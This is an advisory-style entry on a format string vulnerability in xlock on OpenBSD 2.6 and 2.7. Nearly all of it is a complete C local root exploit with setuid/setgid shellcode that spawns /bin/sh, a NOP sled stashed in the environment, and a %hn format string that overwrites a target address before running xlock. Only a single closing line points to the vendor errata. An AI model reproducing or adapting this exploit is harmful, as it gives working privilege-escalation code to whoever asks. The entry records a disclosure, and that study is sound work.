Vulnerability

    xlock

Affected

    OpenBSD 2.6, 2.7

Description

    Noir Desir posted following.

    /*
    OpenBSD 2.6/2.7 xlock exploit by noir
    noir@gsu.linux.org.tr

    tested only on OpenBSD/i386 2.6

    thanks:
    cengiz_turkmen@hotmail.com for support!

    greets: caddis <caddis@dissension.net> orginal chpass exploit
 	    bind, CronoS, dustdvl, ppl from defcon7, gsu-linux staff
	    TESO, ADM, Lam3rz, SSG
    */


    #include <stdio.h>



    char bsd_shellcode[] =
    "\x31\xc0\x50\x50\xb0\x17\xcd\x80"// setuid(0)
    "\x31\xc0\x50\x50\xb0\xb5\xcd\x80"//setgid(0)
    "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
    "\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
    "\x50\x51\x56\x50\xb0\x3b\xcd\x80"
    "\xe8\xe5\xff\xff\xff/bin/sh";

    struct platform {
        char *name;
        unsigned short count;
        unsigned long dest_addr;
        unsigned long shell_addr;
        char *shellcode;
    };

    struct platform targets[3] =
    {
        { "OpenBSD 2.6 i386       ", 246, 0xdfbfd4a0, 0xdfbfdde0, bsd_shellcode },
        { "OpenBSD 2.7 i386       ", 246, 0xaabbccdd, 0xaabbccdd, bsd_shellcode },
        { NULL, 0, 0, 0, NULL }
    };

    char jmpcode[129];
    char fmt_string[2000];

    char *args[] = { "xlock", "-display", fmt_string, NULL };
    char *envs[] = { jmpcode, NULL };


    int main(int argc, char *argv[])
    {
        char *p;
        int x, len = 0;
        struct platform *target;
        unsigned short low, high;
        unsigned long shell_addr[2], dest_addr[2];


        target = &targets[0];

        memset(jmpcode, 0x90, sizeof(jmpcode));
        strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);

        shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
        shell_addr[1] =  target->shell_addr & 0xffff;

    memset(fmt_string, 0x00, sizeof(fmt_string));

    for (x = 17; x < target->count; x++) {
            strcat(fmt_string, "%8x");
            len += 8;
        }

    if (shell_addr[1] > shell_addr[0]) {
            dest_addr[0] = target->dest_addr+2;
            dest_addr[1] = target->dest_addr;
            low  = shell_addr[0] - len;
            high = shell_addr[1] - low - len;
        } else {
            dest_addr[0] = target->dest_addr;
            dest_addr[1] = target->dest_addr+2;
            low  = shell_addr[1] - len;
            high = shell_addr[0] - low - len;
        }

        *(long *)&fmt_string[0] =  0x41;
        *(long *)&fmt_string[1]  = 0x11111111;
        *(long *)&fmt_string[5]  = dest_addr[0];
        *(long *)&fmt_string[9]  = 0x11111111;
        *(long *)&fmt_string[13] = dest_addr[1];


        p = fmt_string + strlen(fmt_string);
        sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);

        execve("/usr/X11R6/bin/xlock", args, envs);
        perror("execve");
    }

Solution

    http://www.openbsd.org/security.html#27  has  a  big note pointing
    to the errata entry for months.